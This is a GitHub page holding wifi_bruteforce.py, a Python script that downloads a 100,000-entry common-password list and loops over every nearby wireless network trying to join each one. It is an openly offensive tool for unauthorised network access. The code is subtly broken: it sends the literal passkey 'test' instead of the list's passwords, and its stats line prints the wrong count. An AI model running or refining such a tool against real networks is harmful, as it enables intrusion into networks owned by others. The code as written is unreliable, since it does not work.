-
Notifications
You must be signed in to change notification settings - Fork 39
/
wifi_bruteforce.py
48 lines (34 loc) · 1.16 KB
/
wifi_bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import urllib2
from wifi import Cell, Scheme, exceptions
# need `sudo` to show all networks
def start():
# download most used passwords on github.com and build a dict
print("Fetch top 100K most used passwords on Github...")
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/xato-net-10-million-passwords-100000.txt"
response = urllib2.urlopen( url )
txt = response.read()
passwords = txt.splitlines()
# get networks and print stats
networks = Cell.all('wlan0')
nb_loops = len(passwords)*len(networks)
print("{} networks founded. The programs will loop {} times!!".format(
len(passwords) , nb_loops ))
# begin to loop
nb_test = 0
for password in passwords:
for cell in networks:
try:
scheme = Scheme.for_cell('wlan0', 'home', cell, 'test')
scheme.activate()
print("Connect to {} with `{}` passkey works!!".format(cell, 'test'))
sys.exit(0)
except exceptions.ConnectionError as e:
pass
finally:
nb_test += 1
sys.stdout.write('\r{} / {}'.format( nb_test, nb_loops ))
sys.stdout.flush()
print("you are not lucky :'(")